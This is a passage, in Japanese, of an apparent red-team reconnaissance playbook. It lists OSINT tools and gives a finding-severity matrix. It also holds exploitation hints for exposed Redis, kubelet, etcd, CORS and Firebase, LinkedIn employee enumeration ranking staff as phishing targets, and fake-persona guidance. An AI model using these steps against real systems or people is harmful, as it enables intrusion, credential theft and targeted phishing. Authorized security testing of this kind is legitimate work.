ストリートビュー: Google Street View、Apple Maps、Yandex Maps、Baidu Maps。
32.3 航空機のOSINT
- FlightRadar24、FlightAware、RadarBox。
- ADSBExchange — フィルタリングなし。
- Planespotters — 航空機群/機体の履歴。
- AirFrames、JetPhotos。
32.4 海事OSINT
- MarineTraffic、VesselFinder、FleetMon。
- Global Fishing Watch — 船舶の行動とAISの欠落分析。
33. AIを活用したOSINT
警告: PII、機密性の高いIOC、または特定につながる固有の情報をクラウドLLMに入力しないでください。入力内容は記録され、トレーニングに使用される可能性があります。機密性の高い分析にはローカルモデルを使用してください。
| ツール | 強み |
|---|---|
| ChatGPT(有料) | ログ解析、データセット分析、CSV/JSON用のCode Interpreter、Vision OCR。 |
| Claude(有料) | 大量のドキュメントダンプに対応する200Kトークンのコンテキストと、レポートの統合。 |
| Gemini | 長いコンテキストに対応。引用付きのDeep Researchモード。 |
| Perplexity Pro(有料) | リアルタイムのウェブ検索と推論。 |
ローカル/プライバシー保護: Ollama、LM Studio、GPT4All。
33.1 商用 AI OSINT プラットフォーム
- Cylect — エンティティ抽出+リンク分析。
- Fivecast Matrix — ソーシャルメディアデータセット向けの生成 AI トリアージ。
- Recorded Future — AI 駆動型の脅威インテリジェンス。
- DarkOwl Vision — ダークネットデータ分析。
33.2 ディープフェイクと合成メディアの検出
34. アーカイブと証拠の保全
- archive.today — 1ページのアーカイブとスクリーンショット。
- URLScan.io — ウェブページのスキャンとリソースマップ。
- ArchiveBox — セルフホスト可能(HTML、PDF、スクリーンショット、メディア)。
- Hunchly — 調査員向けの証拠取得(有料)。
- Wayback SavePageNow API v3 — ジョブ ID を使用したオンデマンドのアーカイブ。
- SingleFileZ — オフライン HTML 用のブラウザー拡張機能。
- Kasm Workspaces — コンテナー化された OSINT ブラウザーの分離環境。
証拠の取り扱い: URL+UTC タイムスタンプ+PNG+WARC/SingleFileZ アーカイブを記録し、ダウンロードしたすべてのファイルの SHA-256 ハッシュを取得します。案件ごとに作業プロファイルを分け、証拠は読み取り専用で保管し、run_id とツールのバージョンを含む JSONL 実行ログを記録します。
35. 自動化とワークフロー
- n8n — セルフホスト可能なワークフロー自動化(RSS → スクレイピング → アラートのパイプライン)。
- Huginn — エージェントベースの監視/スクレイピング/アラート。
- Playwright — ステルスプラグインを使用したヘッドレスブラウザーの自動化。
- Browsertrix Crawler — WARC エクスポートに対応したアーカイブ用クローリング。
- Prefect / Apache Airflow — ワークフローのオーケストレーション。
36. モジュール間のサイドカー連携
複数モジュールで偵察を実行する場合、遅れて到着した出力を、すでに実行中のモジュールに渡す必要があります。次のパターンを使用します。
- 各モジュールは処理の完了時に、既知の場所へサイドカー JSON を書き込みます。
<scan>/mobile_endpoints.json— APK の静的解析で抽出されたエンドポイントとホスト名。<scan>/secrets_sidecar.json— GitHub 以外も対象とするシークレットの調査で得られたホスト名、エンドポイント、Firebase プロジェクト ID。<scan>/sso_tenants.json— 侵害情報との相関分析で使用する、検出された IdP テナント。
- 下流モジュールは起動時にサイドカーの有無を確認し、存在する場合は取り込みます。
- クロスフィード:API 検出では
mobile_endpoints.jsonとsecrets_sidecar.jsonの両方を使用します。SSO×侵害情報の相関分析ではsso_tenants.jsonと侵害情報 DB を使用します。
サイドカーの形式(mobile_endpoints.json の例):
{
"endpoints": [
{"method": "GET", "url": "https://api.acme.com/v1/users", "source": "apk:com.acme.android"},
{"method": "POST", "url": "https://api.acme.com/v1/login", "source": "apk:com.acme.android"}
],
"hostnames": ["api.acme.com", "cdn.acme.com"],
"firebase_project_ids": ["acme-prod-12345"]
}
プラットフォームを使わず、その場で複数ツールによる偵察を実装する場合は、tmpdir + JSON sidecars + a one-line manifest パターンを使用します。構成可能で、デバッグしやすく、再実行も可能です。
37. 地域別検索エンジン
- ロシア/CIS: Yandex、Mail.ru Search。
- 中国: Baidu、Sogou、360 Search。
- ロシアのソーシャルメディア: VK、OK.ru。
- 中国のソーシャルメディア: Weibo、Bilibili、Zhihu、Douyin。
38. Telegram とメッセージングインテリジェンス
- TGStat — チャンネルの分析と検索。
- Telemetr — チャンネルの成長、重複、転送。
- Combot — グループ分析(一部有料)。
- TelegramDB Search Bot — 基本的な Telegram OSINT。
- TGScope — 数値 ID からチャンネルの作成日/経過期間を推定(チェッカー)。また、あらゆる言語で意味に基づく公開チャンネル検索が可能です。
- Discord ID — Discord アカウントの基本情報。
- Sogou Weixin search — WeChat 公式アカウント。
- 公開 Telegram チャンネルを表示するには、
https://t.me/s/<channel>を使用します。
39. 攻撃経路のヒントパターン
HIGH/CRITICAL の API エンドポイントに関する検出結果(スコア ≥ 70)を出力する際は、オペレーターが悪用を開始する場所を把握できるよう、証拠に一文の attack_path_hint を含めます。テンプレート:
| トリガー | 攻撃経路のヒント |
|---|---|
| 認証不要の POST / PUT / DELETE | "認証不要の {method} {path} — IDOR と権限昇格を試してください。数値 ID が連番か、推測可能かを確認してください。" |
| GraphQL のイントロスペクションが公開 | "{path} で GraphQL のイントロスペクションが公開されています — ミューテーションを列挙し、createUser、setRole、transferFunds のような名前を探してください。認証不備またはビジネスロジックの欠陥へとつなげてください。" |
| 認証情報付きの CORS リフレクション | "{path} で認証情報付きの CORS リフレクションが発生しています — 攻撃者が管理するオリジンに CSRF ページをホストしてください。被害者のブラウザーから {sensitive-data-hint} が漏えいします。" |
| 機密データを返すワイルドカード CORS | "認証情報なしでユーザーに紐づくデータを返す {path} で、ワイルドカード CORS が設定されています — 被害者が訪問する任意のページから、クロスオリジン fetch で情報を抜き出してください。" |
| HTTP メソッドの改ざん | "HTTP メソッドの改ざん:ドキュメントに記載された {visible-method} のみを受け付けるエンドポイントで {hidden-method} が許可されています → メソッドチェックの欠落による認可不備の可能性があります。有効な認証情報を使って {hidden-method} {path} を試してください。" |
| URL 内の API キー | "URL 内の API キー:?{param}=... — トークンがアクセスログ、ブラウザーの履歴、Referer ヘッダー、サードパーティ CDN に漏えいします。Wayback / Google でキャッシュされたコピーを確認してください。" |
| エラー内のスキーマ漏えい | "エラーレスポンスでスキーマが漏えいしています — フレームワークのシグネチャ {framework} が露出しています。既知の {framework} の脆弱性を調べ、対象を絞ったペイロードを作成してください。" |
| 機密キーワード | "パスに '{keyword}' が含まれています — 直接オブジェクト参照、マスアサインメント、または隠れた管理機能がないか確認してください。" |
| Firebase RTDB が公開 | "Firebase RTDB が https://{project}.firebaseio.com/.json で公開されています — すべて読み取り、その後 /<random-key>.json に PUT して書き込みを試し、ACL の範囲を確認してください。" |
| 一覧表示可能なクラウドバケット | "一覧表示可能な {provider} バケット {bucket} — オブジェクトを再帰的に列挙し、コンテンツタイプを分析してください。バックアップ、ログ、顧客データ、JSON 設定内の AWS キーを探してください。" |
| .git が公開 | "{host} で .git/config が公開されています — git-dumper または githacker でリポジトリを再構築してください。ソースの全履歴を取得できます。" |
| .env が公開 | "{host} で .env が公開されています — _KEY、_SECRET、_TOKEN、_PASSWORD を grep してください。§23 のバリデーターですべての認証情報を読み取り専用で検証してください。" |
| /actuator/env | "Spring Boot の /actuator/env が公開されています — 環境変数をダンプし、spring.datasource.password、JWT シークレット、クラウド認証情報を探してください。" |
| /actuator/heapdump | "Spring Boot の /actuator/heapdump が公開されています — HPROF をダウンロードし、jhat または VisualVM を実行して、ヒープ内の文字列から平文のシークレットを検索してください。" |
| Elasticsearch が公開 | "{host}:9200 で Elasticsearch が公開されています — /_cat/indices?v でインデックス一覧を確認し、価値の高い各インデックスからサンプル文書を取得してください。/test-idx/_doc への書き込みを試して ACL を確認してください。" |
| Redis が公開 | "{host}:6379 で Redis が公開されています — INFO、KEYS *、サンプルデータの読み取りを行ってください。CONFIG SET に続いて BGSAVE を実行し、authorized_keys を書き込めるか確認して、書き込み権限を調べてください。" |
| MongoDB が公開 | "{host}:27017 で MongoDB が公開されています — show dbs、show collections、サンプルの find クエリを実行してください。ユーザーコレクションにパスワードハッシュがないか確認してください。" |
| サブドメイン乗っ取り | "{host} の CNAME が未取得の {provider} リソースを指しています → {provider} で {takeover-target} を登録すると、{host} からコンテンツを配信できます。信頼されたドメインでのフィッシングやコンテンツインジェクションにつなげてください。" |
| kubelet が公開 | "{host}:10250 で kubelet が公開されています — GET /pods で一覧を取得し、K8s API 認証なしで POST /run/<ns>/<pod>/<container> を使ってコンテナ内でコマンドを実行してください。" |
| etcd が公開 | "{host}:2379 で etcd が公開されています — etcdctl get / --prefix --keys-only でクラスターの全状態を取得できます。シークレットは /registry/secrets/ に保存されています。" |
| K8s API の匿名アクセス | "{host}:6443 の Kubernetes API で anonymous-auth が有効です — kubectl --server=https://{host}:6443 --insecure-skip-tls-verify get pods --all-namespaces を実行してください。" |
| 未パッチの Citrix | "{host} の Citrix NetScaler バージョン {ver} は CVE-{cve}(KEV 掲載)の脆弱性の影響を受けます。ベンダーのアドバイザリーを確認してください。悪用はせず、クライアントに直ちにパッチを適用するよう警告してください。" |
| F5 BIG-IP TMUI が公開 | "{host} から F5 BIG-IP TMUI にアクセスできます。CVE-2022-1388 / CVE-2023-46747 の KEV が該当します。ベンダーがリリースしたホットフィックスを直ちに適用するよう推奨してください。" |
| VMware vCenter にアクセス可能 | "{host} の vCenter に VPN なしでアクセスできます。パッチ未適用の場合、CVE-2021-21972 による RCE の可能性があります。バージョンバナーを確認してください。" |
| クラウド関数の URL で認証不要 | "{url} の AWS Lambda Function URL に匿名でアクセスできます — IAM 認証の設定を確認してください。設計上認証不要の場合は、入力検証を厳しく監査してください。" |
| npm のタイポスクワッティング候補 | "パッケージ名 {candidate} は未登録で、対象が公開している {official} に類似しています — タイポスクワッティングによる乗っ取りのリスクがあります。クライアントに予防的な登録を推奨してください。" |
| DMARC が未設定または緩い設定 | "{domain} の DMARC が p=none です — {anything}@{domain} を詐称したメールが受信者に届く可能性があります。レポートを確認した後、p=quarantine または p=reject に強化することを推奨してください。" |
| 有効な AI API キー(Anthropic/OpenAI) | "モデルにアクセスできる sk-{provider}-... キーを検証しました — クォータが不正利用される可能性があります。直ちにキーをローテーションし、プロバイダーのコンソールで使用状況ログを監査してください。" |
| 公開 Slack 招待リンク | "検索エンジンから Slack ワークスペースの招待リンクを発見できます — 承認なしで誰でもワークスペースに参加でき、内部チャンネルに容易にアクセスできます。" |
| Docker レジストリが公開 | "{host} の公開 Docker レジストリ — GET /v2/_catalog でイメージを一覧表示できます。イメージをプルしてレイヤーをスキャンし、埋め込まれたシークレットを探してください。" |
| Telegram ボットトークンが有効 | "Telegram ボットトークンを検証しました — getUpdates でボットの受信者(管理者チャット)が判明します。getMe でボットがチャンネルに参加していることが確認された場合、すべてのメッセージを読み取れる可能性があります。" |
sourcesContent[] を含むソースマップ | "{host} のソースマップには元のソースコードが埋め込まれています — フロントエンドのコード全体を再構築できます。インラインのシークレットや内部ホスト名を grep してください。" |
40. 重大度判定マトリックス — 実例
判断に迷った場合は、実際の案件から抜粋した以下の実例を参考にしてください。
| 検出事項 | 重大度 | 理由 |
|---|---|---|
本番 Web アプリで /.git/config にアクセス可能 | CRITICAL | ソースコードがすべて開示され、過去の秘密情報も再構築できます。 |
本番 Web アプリで /.env にアクセス可能 | CRITICAL | 認証情報(DB、クラウド、API)が平文で含まれています。 |
| Firebase RTDB が公開され、データを返す | CRITICAL | アプリの全データを読み取れ、多くの場合は書き込みも可能です。 |
| 個人情報を含む S3 バケットが一覧表示可能 | CRITICAL | データを直接持ち出せます。 |
| ログのみを含む S3 バケットが一覧表示可能 | HIGH | ログから内部ホスト名やパスが漏れ、攻撃の足がかりになります。 |
Spring Boot の /actuator/env が公開されている | CRITICAL | 環境変数に DB 認証情報、JWT シークレット、クラウドキーが含まれています。 |
Spring Boot の /actuator/heapdump が公開されている | CRITICAL | ヒープに文字列形式の有効なシークレットが含まれています。 |
Elasticsearch が公開されている(/_cat/indices が応答する) | CRITICAL | すべてのデータを読み取れ、多くの場合は書き込みも可能です。 |
| MongoDB が公開されている(認証なし) | CRITICAL | すべてのデータとパスワードハッシュのコレクションにアクセスできます。 |
| Redis が公開されている(AUTH なし) | CRITICAL | authorized_keys に書き込むことで、SSH の足がかりを得られます。 |
| Docker API が公開されている(ポート 2375) | CRITICAL | コンテナーまたはホストを乗っ取られる可能性があります。 |
| 公開 PMAK が広範なスコープで有効と確認された | CRITICAL | Postman アカウント全体とすべてのチームワークスペースにアクセスできます。 |
| 公開 AWS ルートアクセスキーが有効と確認された | CRITICAL | アカウント全体が侵害されます。 |
| GitHub で有効な AWS IAM ユーザーキーを発見 | HIGH | スコープは限定的ですが(IAM ポリシーによります)、権限昇格が可能なこともよくあります。 |
| JS バンドルで有効な GitHub PAT を発見 | HIGH | リポジトリへの書き込みアクセスが可能です(スコープによります)。 |
| pastebin で有効な Slack トークンを発見 | HIGH | ワークスペースのデータと履歴にアクセスでき、チャンネルに投稿できる場合もあります。 |
本番環境でソースマップ(.js.map)にアクセス可能 | HIGH | フロントエンドのソースコードが開示されます。 |
| 本番環境で GraphQL のイントロスペクションが公開されている | HIGH | スキーマ全体からミューテーションとビジネスロジックを把握できます。 |
| サブドメインの乗っ取りが可能(Heroku / GitHub Pages / など) | HIGH | 乗っ取られると、信頼されたドメイン上でフィッシングが可能になります。 |
/api/billing で認証情報付きの CORS が反射される | HIGH | CORS を介した CSRF により、請求データにアクセスされる可能性があります。 |
| 動詞の改ざん:GET のみと文書化されたエンドポイントで DELETE が許可される | HIGH | 認可を回避される可能性があり、破壊的な操作につながる場合もあります。 |
本番環境で phpinfo.php にアクセス可能 | HIGH | パス、環境変数、モジュールが漏れ、脆弱なバージョンを特定する足がかりになります。 |
Tomcat の /manager/html にアクセス可能 | HIGH | デフォルトの認証情報が使えることが多く、WAR のアップロードで RCE が可能です。 |
| Jenkins のスクリプトコンソールにアクセス可能 | HIGH | Groovy スクリプトの実行により RCE が可能です。 |
/login で HSTS が設定されていない | HIGH(MED から引き上げ) | ログインページでは HSTS を必ず適用する必要があります。 |
| 通常のページで HSTS が設定されていない | MEDIUM | セキュリティ強化が不十分です。 |
| CSP が設定されていない | MEDIUM | XSS の影響を軽減できません。 |
| JS に内部 IP / K8s サービス DNS が含まれている | MEDIUM | 内部ネットワーク構成が開示されます。 |
Apache の /server-status にアクセス可能 | MEDIUM | 実行中のリクエストを閲覧できます。 |
本番アプリで android:debuggable=true | CRITICAL | 本番環境でデバッグビルドが使われており、クライアント全体が侵害される可能性があります。 |
android:allowBackup=true(許可リストなし) | MEDIUM | adb backup によりアプリのデータを持ち出せます。 |
android:usesCleartextTraffic=true | MEDIUM | 信頼できないネットワーク上で中間者攻撃が可能です。 |
機密情報を扱うディープリンクハンドラー(myapp://reset-password) | HIGH | 他のアプリから機密性の高いフローを起動できます。 |
| 権限のない Android コンポーネントがエクスポートされている | MEDIUM | IPC 攻撃対象領域が広がります。 |
| Slack の Webhook URL が漏洩 | MEDIUM | チャンネルに投稿でき、ソーシャルエンジニアリングにも利用できます。 |
| Twilio の Account SID が漏洩(認証トークンなし) | MEDIUM | 認証情報の一部が漏洩しており、アカウントの列挙も可能です。 |
| データを返す API でワイルドカード CORS が設定されている | MEDIUM | 認証情報付きの反射よりリスクは低いものの、データを持ち出せます。 |
X-Frame-Options が設定されていない | LOW | クリックジャッキングのリスクがあります。 |
.DS_Store が公開されている | LOW | 開発者のマシン上のディレクトリ構成が漏れます。 |
| Stripe のテストキーが漏洩 | LOW | 実際の金銭的リスクはありません。 |
| Firebase URL が公開されている(公開 RTDB なし) | LOW | プロジェクト ID の開示のみです。 |
| モバイルアプリに証明書ピンニングがない | LOW | 信頼できないネットワーク上で中間者攻撃が可能です。 |
| 古い WordPress インストールを検出 | LOW | CVE の確認待ちです。 |
Referrer-Policy / Permissions-Policy が設定されていない | INFO | セキュリティ強化の問題であり、情報漏洩ではありません。 |
/.well-known/security.txt を発見 | INFO | 有用な連絡先情報のみです。 |
| ドメインが漏洩データに存在するが、アカウント名は 0 件 | INFO | 文脈情報にとどまります。 |
| プライベートバケットが存在する(HEAD で 403) | INFO | アセットのみで、検出事項には該当しません。 |
| ポート 10250 で kubelet が公開されている | CRITICAL | K8s API 認証なしで Pod を実行できます。 |
| ポート 2379 で etcd が公開されている | CRITICAL | クラスターの状態とシークレットにアクセスできます。 |
| 匿名認証が有効なポート 6443 の K8s API | HIGH | クラスターの偵察が可能で、Pod を実行できる場合もあります。 |
| 認証なしで K8s ダッシュボードが公開されている | HIGH | クラスター管理用 UI が公開されています。 |
| Helm Tiller(Helm 2)がポート 44134 で公開されている | HIGH | クラスター管理者スコープでアクセスできます。 |
| KEV CVE がある Citrix Netscaler | CRITICAL | 直ちにパッチを適用してください。現在、積極的に悪用されています。 |
| F5 BIG-IP TMUI にアクセス可能 | HIGH | TMUI は管理パネルです。未パッチの場合、CVE-2022-1388 により CRIT となります。 |
| CVE-2024-21887 がある Pulse Secure | CRITICAL | KEV 対象であり、コマンドインジェクションを連鎖させられます。 |
| CVE-2024-21762 がある FortiGate | CRITICAL | KEV 対象であり、認証回避と RCE が可能です。 |
| CVE-2024-3400 がある PaloAlto GlobalProtect | CRITICAL | KEV 対象であり、認証前の RCE が可能です。 |
| CVE-2021-21972 がある VMware vCenter | CRITICAL | KEV 対象であり、認証前の RCE が可能です。 |
| VPN なしで VMware ESXi が公開されている | HIGH | 複数の CVE(ESXiArgs ランサムウェアの侵入経路)があります。 |
| ProxyShell / Logon / NotShell が未パッチの MS Exchange | CRITICAL | KEV の脆弱性チェーンにより、RCE とメールボックスのダンプが可能です。 |
| AWS Lambda Function URL に匿名でアクセス可能 | HIGH | 直接呼び出しが可能です。IAM 認証の設定を確認してください。 |
| Cloud Run / Cloud Function が認証なしで公開されている | HIGH | 同上です。 |
| Docker レジストリが公開されている(匿名でカタログを取得可能) | MEDIUM | イメージの列挙とレイヤー内のシークレット探索が可能です。 |
| GitHub Actions のシークレットがワークフローログに出力されている | HIGH | ログに出力されたシークレットは、その内容がすべて漏洩したことになります。 |
GitHub Actions の pull_request_target でフォークのコードをチェックアウトしている | HIGH | この種の設定ミスにより、攻撃者の PR からシークレットにアクセスできます。 |
| CVE-2021-22205 があるセルフホスト型 GitLab | CRITICAL | KEV 対象であり、ExifTool の RCE が可能です。 |
pull_request_target 相当の設定ミスがある Jenkins | HIGH | PR からビルド用シークレットにアクセスできます。 |
| 内部 SOP を掲載した公開 Notion ページ | MEDIUM | 運用上の情報が得られ、認証情報が含まれている場合もあります。 |
| カードに認証情報が記載された公開 Trello ボード | HIGH | API キーが平文で記載されていることがよくあります。 |
| オンボーディング資料を掲載した公開 Confluence スペース | MEDIUM | 初期認証情報や技術スタックが漏洩します。 |
| アーキテクチャ図を掲載した公開 Miro ボード | LOW | 内部ホストに関する情報が漏洩します。 |
本番の送信ドメインで DMARC ポリシーが p=none | MEDIUM | なりすましが可能です(リスク範囲を考慮し、LOW から引き上げ)。 |
厳格な DMARC なしで SPF が ~all(ソフトフェイル) | MEDIUM | なりすましメールは迷惑メールに振り分けられますが、送信自体は可能です。 |
| MX サーバーでオープンリレーが可能(外部ドメインへの RCPT TO で 250 OK が返ることを確認) | HIGH | スパム送信となりすましが可能です。 |
| スコープの広い Anthropic / OpenAI API キーが有効 | CRITICAL | クォータの不正使用に加え、過去の応答に含まれる個人情報が漏洩する可能性があります。 |
publish スコープを持つ npm トークンが有効 | CRITICAL | 保守対象の全パッケージがサプライチェーン攻撃を受ける可能性があります。 |
publish スコープを持つ PyPI / Docker Hub / GHCR トークンが有効 | CRITICAL | サプライチェーン攻撃を受ける可能性があります。 |
| 管理者スコープを持つ Atlassian トークン | HIGH | ワークスペース全体を読み取れ、書き込みも可能な場合があります。 |
| サブドメインの乗っ取り候補が確認済み | HIGH | 信頼されたドメインを使ったフィッシングが可能になります。 |
| 機密性の高い CI/CD ワードリストの一致(公開リポジトリの Jenkinsfile、.gitlab-ci.yml) | MEDIUM | ビルドスクリプトの情報が得られ、シークレット名が参照されていることもよくあります。 |
| 内部 API エンドポイントを含む公開 Postman ワークスペース | MEDIUM | API の攻撃対象領域が明らかになります。 |
| WAF/CDN を容易に回避できる(§16.15 によりオリジンを特定可能) | HIGH | WAF の保護がすべて無効になります。 |
| 本番環境で TLS 1.0/1.1 がサポートされている | MEDIUM | コンプライアンス上の問題です。PCI-DSS では TLS 1.0 が禁止されています。 |
| RC4 / 3DES 暗号スイートが受け入れられる | MEDIUM | NOMORE / SWEET32 攻撃のリスクがあります。 |
| 証明書の有効期限が 30 日未満 | LOW | 運用上のリスクですが、悪用はできません。 |
| 本番環境で自己署名証明書が使用されている | MEDIUM | ユーザーが信頼できない状態になります。 |
| Heartbleed(CVE-2014-0160)を検出 | CRITICAL | セッショントークンやキーを含むメモリー情報が漏洩します。 |
| 公開 Slack 招待リンクを発見可能 | HIGH | 誰でもワークスペースに参加でき、DM やチャンネル全体にアクセスできます。 |
| ベンダー / サプライヤー / 電子調達ポータルが公開され、漏洩データからベンダーアカウントの侵害が確認される | HIGH | ベンダーのなりすましや調達詐欺(BEC の侵入経路)につながります。個人情報や決済データが流れる場合、規制上のリスクもあります。 |
| 求人応募 / 採用ポータルが TLS なしの平文 HTTP で個人情報を収集している | HIGH | 大規模な個人情報漏洩につながり、GDPR / CCPA / India DPDP Act / LGPD に基づく規制上のリスクがあります。 |
| 廃止済みの旧メール(現在は NXDOMAIN)に対する従業員の過去の URL が漏洩データにあり、autodiscover IP からクラウド SSO への移行を確認 | CRITICAL | パスワードの再利用により、盗まれたパスワードが移行後もほぼ確実に有効なままです。旧ホストが停止していても、SSO_EXPOSURE は重大度を引き上げます。 |
外部公開イントラネット(intranet.<domain> が名前解決され、VPN なしでコンテンツを返す) | MEDIUM | 社内ポータルが公開されており、組織構造、従業員名簿、社内アプリなどが漏洩することがよくあります。 |
| ステージング / プレプロダクション / UAT / サンドボックスのサブドメインが公開状態で名前解決される | MEDIUM | 認証が弱く、デバッグ用エンドポイントやテスト認証情報が使われていることが多く、本番データを複製している場合もあります。 |
vpn.<domain> が名前解決されるが、ベンダーとバージョンは不明(パッシブ調査のみ) | INFO | 攻撃対象領域の存在を示すのみです。アクティブなフィンガープリントから KEV CVE が確認された場合、HIGH-CRITICAL に引き上げます(§16.16)。 |
| DMARC RUA がサードパーティのレポートベンダー(kdmarc / dmarcian / Valimail / Agari / EasyDMARC)を指している | INFO | テナントの存在を示すのみです。ベンダーが侵害されると、そのすべての顧客に対して DMARC を回避できます。 |
41. LinkedIn の従業員列挙
LinkedIn は、外部レッドチーム活動における従業員列挙で、最も有力な情報源です。標的リストの作成、役職の優先順位付け、メールパターンの推定、口実の作成に使用します。
41.1 検索手法
無料版 LinkedIn(Sales Navigator なし):
- 会社で人物検索します:
https://www.linkedin.com/search/results/people/?currentCompany=["<company-id>"]。会社の LinkedIn URL またはプロフィール JSON から company-id を取得します。 - コネクションの次数フィルターを回避します:検索結果はデフォルトで 1 次・2 次のコネクションのみを表示するため、代わりに Google のドーキングを使用します。
LinkedIn 従業員列挙用 Google ドーク:
site:linkedin.com/in "<company name>"
site:linkedin.com/in "<company name>" "engineer" # role filter
site:linkedin.com/in "<company name>" "<location>" # location filter
site:linkedin.com/in "<company name>" -inurl:/posts
Bing/DuckDuckGo の同等の方法 — 異なる結果セットが返されることもあるため、複数の検索エンジンの結果を統合します。
LinkedIn Sales Navigator(有料):
- 利用できる場合、最も効率的です。会社 × 役職 × 職位レベルでリードリストを作成し、CSV にエクスポートします。
ツール:
- theHarvester の
-b linkedinソース(検索エンジンを利用した列挙を実行します)。 - CrossLinked —
https://github.com/m8r0wn/CrossLinked— LinkedIn のドーキングを行う CLI ツールです。 - LinkedInDumper / Linkook — オープンソースの列挙ツールです(最新状況を確認してください。頻繁に動作しなくなります)。
- PhantomBuster / Apollo.io / RocketReach / Hunter.io Email Finder — 列挙とメールアドレスの推定を 1 つのワークフローで行う有料 SaaS です。
41.2 優先順位付けのための役職の推定
列挙した従業員ごとに、次の情報を記録します。
- 氏名(正式な形式:名 姓。メールパターンの照合では、「PMP」「PhD」などの接尾辞を削除します)。
- 役職(原文と、役職層に正規化したもの)。
- 在職期間(在籍年数。通常、長いほどアクセス権が多くなります)。
- 所在地(市/地域。フィッシングを行う時間帯の判断に役立ちます)。
- 最近の活動(投稿、コメント、記事。口実の作成に役立ちます)。
侵害情報の照合とフィッシング標的リストにおける役職の優先順位:
| 役職層 | 例 | 理由 |
|---|---|---|
| P0 | CEO、CFO、CTO、CISO、CIO、COO、GC、CRO | 経営幹部のアカウントです。BEC、財務、法務に関する権限があります。 |
| P1 | IT/セキュリティ/エンジニアリング/財務/人事の VP/ディレクター | 特権的なツールへのアクセス権があり、リセットのワークフローを利用できます。 |
| P2 | DevOps、SRE、プラットフォーム、セキュリティエンジニア、DBA | GitHub/クラウド/CI へのアクセス権があり、アカウントにシークレットが含まれています。 |
| P3 | ソフトウェアエンジニア、アーキテクト、シニア開発者 | コードへのアクセス権があり、クラウドにもアクセスできる場合があります。 |
| P4 | 営業、マーケティング、人事、財務アナリスト、カスタマーサポート | SaaS(Salesforce、HubSpot、Workday)へのアクセス権があり、BEC の足がかりになります。 |
| P5 | 一般の個人貢献者、インターン、契約社員 | 単一アカウントとしての価値は最も低いものの、対象の幅も重要です。 |
41.3 確認済みの氏名からメールパターンを推定する
記録した氏名ごとに、§11 のテンプレートを使って候補メールアドレスを推定します。次の情報と照合します。
- Hunter.io の
domain-searchでパターンを確認します。 - 漏えい情報コーパス(HudsonRock + HIBP + DeHashed + IntelX)で一致する情報を探します。
41.4 偽装アカウントに関する考慮事項
- 企業のペルソナからは決して接続しないでください。 LinkedIn には「プロフィールを閲覧しました」という通知が表示されます。
- 偽装アカウントを使用します。もっともらしいプロフィールを用意します(5 年以上の活動履歴を構築し、類似業界に所属させ、相関関係をわかりにくくするために共通のコネクションを持たせます)。ツール:ペルソナ構築ワークフロー。
- LinkedIn の「プライベートモード」(匿名での閲覧) — 設定で切り替えられます。手がかりを 1 つ減らせますが、Sales Navigator では「誰かがあなたのプロフィールを閲覧しました」と匿名で表示されることがあります。
- コネクション申請は検知可能です。 偵察中は送信しないでください。
- 1 日に同じ会社の従業員を 100 人以上閲覧すると、疑念を招く可能性があります。 頻度を抑え、ペルソナごとに 1 日 20 人未満にします。
41.5 出力
発見した従業員ごとに:
Person:
name: "Alice Doe"
title: "Senior DevOps Engineer"
role_tier: P2
company: "Acme Corp"
location: "Boston, MA"
linkedin_url: https://www.linkedin.com/in/alicedoe
derived_emails:
- [email protected] (TENTATIVE)
- [email protected] (TENTATIVE)
- [email protected] (TENTATIVE)
breach_hits:
- [email protected] (HudsonRock; cleartext password redacted; FIRM)
pretext_hooks:
- "DevOps tooling vendor evaluation" (recent posts)
- "Boston DevOps Days speaker" (conference activity)
42. 求人情報からの技術スタック分析
求人情報からは、標的の内部技術スタックを驚くほど正確に把握できます。無料で一般公開されており、ベンダー名も正確に記載されています。
42.1 ソース
| プラットフォーム | URL | 備考 |
|---|---|---|
| LinkedIn Jobs | https://www.linkedin.com/jobs/search/?keywords=&f_C=<company-id> | 最も最新の情報です。LI アカウントが必要です。 |
| Indeed | https://www.indeed.com/cmp/<company> | 求人フィード付きの企業ページです。 |
| Glassdoor | https://www.glassdoor.com/Jobs/<company>-Jobs-E<id>.htm | 給与データと従業員レビューも確認できます。 |
| Lever (ATS) | https://jobs.lever.co/<company> | ATS の直接ページです。詳しい求人情報を確認できます。 |
| Greenhouse (ATS) | https://boards.greenhouse.io/<company> | ATS の直接ページです。 |
| Workable (ATS) | https://apply.workable.com/<company>/ | ATS の直接ページです。 |
| AshbyHQ (ATS) | https://jobs.ashbyhq.com/<company> | ATS の直接ページです。 |
| AngelList / Wellfound | https://wellfound.com/company/<company>/jobs | スタートアップに特化しています。 |
| BuiltIn | https://builtin.com/companies/view/<company> | テクノロジー分野に特化しています。 |
| Stack Overflow Jobs | (2022 年に廃止されましたが、アーカイブは利用可能です) | 過去の技術スタック情報です。 |
| 企業の採用ページ | https://careers.<target>.com または https://<target>.com/careers | 直接の情報源です。ATS より詳しい場合もあります。 |
42.2 抽出する情報
各求人情報から、次の情報を収集します。
- 必須のテクノロジー(「X、Y、Z の経験が必須」など)→ 使用中であることを確認できます。
- 歓迎するテクノロジー → 使用中の可能性は高いものの、移行中かもしれません。
- ベンダー名(Workday、Salesforce、Snowflake、Databricks、Datadog など)→ SaaS テナントを特定できます。
- 社内ツール/プロジェクトのコードネーム(「Project Aurora に携わります」のように記載されていることがあります)→ 偵察に役立つ語彙です。
- チーム規模の手がかり(「12 人のプラットフォームチームの一員」など)→ 組織構造に関する情報です。
- オフィス所在地(「ボストンのオフィスに週 3 日出社するハイブリッド勤務」など)→ 物理的な偵察に役立ちます。
- クラウドとオンプレミスの比率の手がかり(「オンプレミスから AWS へ移行中」など)→ IT 環境に関する情報です。
- 記載されているコンプライアンスフレームワーク(SOC2、FedRAMP、HIPAA、PCI)→ 防御上の優先事項と報告に関する背景を把握できます。
42.3 ツール
- scrapy / BeautifulSoup — ATS ごとにカスタムスクレイパーを作成します。
- 適切な情報源を指定した theHarvester。
- GitHub 上の JobScraper スクリプト。
- 手動 — 対象が少ない場合は、求人情報 20~30 件を手動で確認するのが迅速かつ高精度です。
42.4 出力
発見したテクノロジーに関する言及ごとに、次の情報を記録します。
Tech_inferred:
product: "Snowflake"
category: "data warehouse"
source: "linkedin job posting #<id>"
source_url: https://www.linkedin.com/jobs/view/...
confidence: TENTATIVE (job listing implies in-use; not yet confirmed by direct probe)
posting_date: 2026-03-15
required_or_nice: "required"
集約して 対象の技術スタックプロファイルを作成し、次の調査に役立てます。
- 探すべきシークレットのパターン(Snowflake 固有のキー、Databricks トークン)。
- フィンガープリントを確認する SaaS テナント(Snowflake アカウント URL のパターン)。
